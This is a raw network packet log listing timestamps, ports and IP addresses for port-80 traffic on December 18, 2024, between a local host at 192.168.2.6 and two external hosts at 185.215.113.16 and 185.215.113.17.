Dec 18, 2024 12:00:27.048408031 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.048939943 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.049267054 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.049403906 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.049516916 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.050395012 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.050519943 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.051175117 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.051486015 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.051590919 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.052548885 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.052577019 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.052669048 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.053395987 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.053667068 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.053725004 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.053925991 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.054755926 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.054860115 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.055165052 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.055877924 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.056006908 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.056145906 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.057019949 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.057097912 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.057215929 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.058218002 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.058296919 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.058582067 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.059128046 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.059262991 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.059292078 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.059384108 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.060239077 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.060354948 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.060359001 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.060471058 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.061322927 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.061436892 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.061475039 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.061475039 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.062438965 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.062513113 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.062522888 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.062575102 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.063560009 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.063636065 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.063638926 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.063937902 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.064723969 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.064980984 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.198057890 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.198169947 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.198175907 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.198298931 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.198316097 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.198378086 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.198378086 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.198489904 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.198574066 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.198679924 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.199027061 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.199058056 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.199093103 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.199105024 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.199121952 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.199152946 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.199254990 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.199357986 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.199743032 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.199857950 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.199898005 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.199996948 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.200120926 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.200258017 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.200284958 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.200464010 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.200490952 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.200685978 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.201134920 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.201221943 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.201381922 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.201534033 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.201690912 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.201813936 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.201873064 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.201889992 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.201900005 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.201951027 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.202074051 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.202131033 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.202944994 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.203157902 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.203671932 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.203687906 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.203711033 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.203768015 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.203768015 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.203799009 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.203814983 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.203845024 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.203938007 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.203979015 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.203995943 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.204025030 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.204082966 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.204488993 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.204534054 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.204608917 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.204679966 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.204695940 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.204797983 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.204797983 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.204797983 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.205116987 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.205174923 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.205179930 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.205454111 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.205514908 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.205602884 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.205630064 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.205753088 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.205801010 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.205801010 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.205869913 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.205965996 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.206439018 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.206527948 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.206566095 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.206582069 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.206609964 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.206669092 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.206697941 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.206902981 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.207156897 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.207353115 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.207423925 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.207777023 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.207806110 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.207833052 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.207917929 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.207943916 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.207952023 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.208002090 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.208002090 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.208686113 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.208756924 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.208772898 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.208784103 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.208817959 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.208817959 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.209002972 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.209131002 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.209568024 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.209685087 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.209795952 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.209978104 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.210057020 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.210165024 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.210215092 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.210308075 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.210336924 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.210625887 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.210983038 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.211132050 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.211148977 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.211158991 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.211229086 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.211229086 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.211277962 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.211369038 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.211703062 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.211803913 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.211833000 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.211862087 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.212061882 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.212179899 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.212353945 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.212438107 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.212512016 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.212539911 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.213351965 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.213419914 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.213421106 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.213421106 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.213435888 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.213495016 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.213495016 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.213598967 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.213808060 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.214162111 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.214261055 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.214289904 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.214478970 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.214529991 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.214529991 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.214569092 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.214638948 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.215060949 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.215167999 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.215372086 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.215684891 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.215743065 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.215743065 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.215773106 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.215886116 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.215903997 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.215903997 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.215930939 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.216002941 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.216543913 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.216654062 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.216717005 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.216732025 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.216743946 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.216947079 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.217127085 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.217243910 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.217271090 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.217504025 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.217514992 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.217659950 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.217711926 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.217729092 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.217777014 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.217777014 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.217915058 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.218075991 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.218611002 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.218693972 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.218702078 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.218709946 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.218744040 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.218836069 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.219178915 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.219290018 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.219306946 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.219345093 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.219345093 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.219712973 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.219727039 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.219888926 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.219997883 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.220093966 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.220110893 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.220146894 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.220148087 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.220201015 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.220861912 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.220918894 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.220927954 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.220944881 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.220968962 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.220992088 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.221118927 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.221508980 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.221561909 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.221563101 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.221563101 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.221777916 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.221929073 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.222095013 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.222121954 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.222268105 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.222295046 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.222398996 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.222515106 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.223037004 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.223103046 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.223119974 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.223129034 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.223165989 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.223165989 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.223264933 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.223607063 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.224059105 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.224128962 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.224140882 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.224144936 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.224195004 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.224195004 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.224275112 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.224329948 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.224520922 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.224575043 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.224698067 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.225050926 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.225358963 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.225461006 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.225476027 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.225490093 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.225528002 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.225528002 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.225570917 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.225678921 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.226054907 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.226165056 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.226221085 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.226325035 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.226327896 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.226345062 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.226372004 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.226459026 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.227063894 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.227333069 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.227354050 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.227421999 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.227694988 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.227755070 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.227849007 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.227873087 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.227890015 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.227927923 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.227968931 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.228494883 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.228610039 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.228632927 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.228658915 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.228672028 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.228687048 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.228713036 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.228804111 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.229140043 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.229212046 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.229332924 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.229619026 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.229672909 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.229674101 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.229758978 CET	49950	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:27.229929924 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.230040073 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.230101109 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.230101109 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.230693102 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.230756044 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.230793953 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:27.230878115 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.230892897 CET	80	49950	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:27.230905056 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:27.230938911 CET	49950	80	192.168.2.6	185.215.113.16
